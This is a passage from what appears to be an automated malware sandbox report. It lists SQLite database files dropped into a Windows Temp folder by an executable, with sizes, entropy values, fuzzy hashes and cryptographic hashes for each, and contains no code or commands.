File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lpwVUC30bB

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mbyfk4HT76

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mzYI4iGg7G

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n8ub7H23uL

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n9F5GazNRA

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nDZ1labQcJ

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nRaX1nEQDL

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nVa2z0n3Hc

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nlOICfGXYH

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nplusRyMlL

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsRTEJIG2k

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nxguOD49Q3

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oCqMwD4jAe

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oCs7eLUTOn

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oJD9H8uLi3

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oZ9nIl8g2o

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oprt3s0b6N

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pEvdm580lU

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pOembzlyqY

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pdPrXit05a

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\prljhan3IL

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\putb7e5sDh

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q2TbOYeFIP

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qETOOeueRi

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qILE9WeCQ1

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qYBzGGJuYa

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
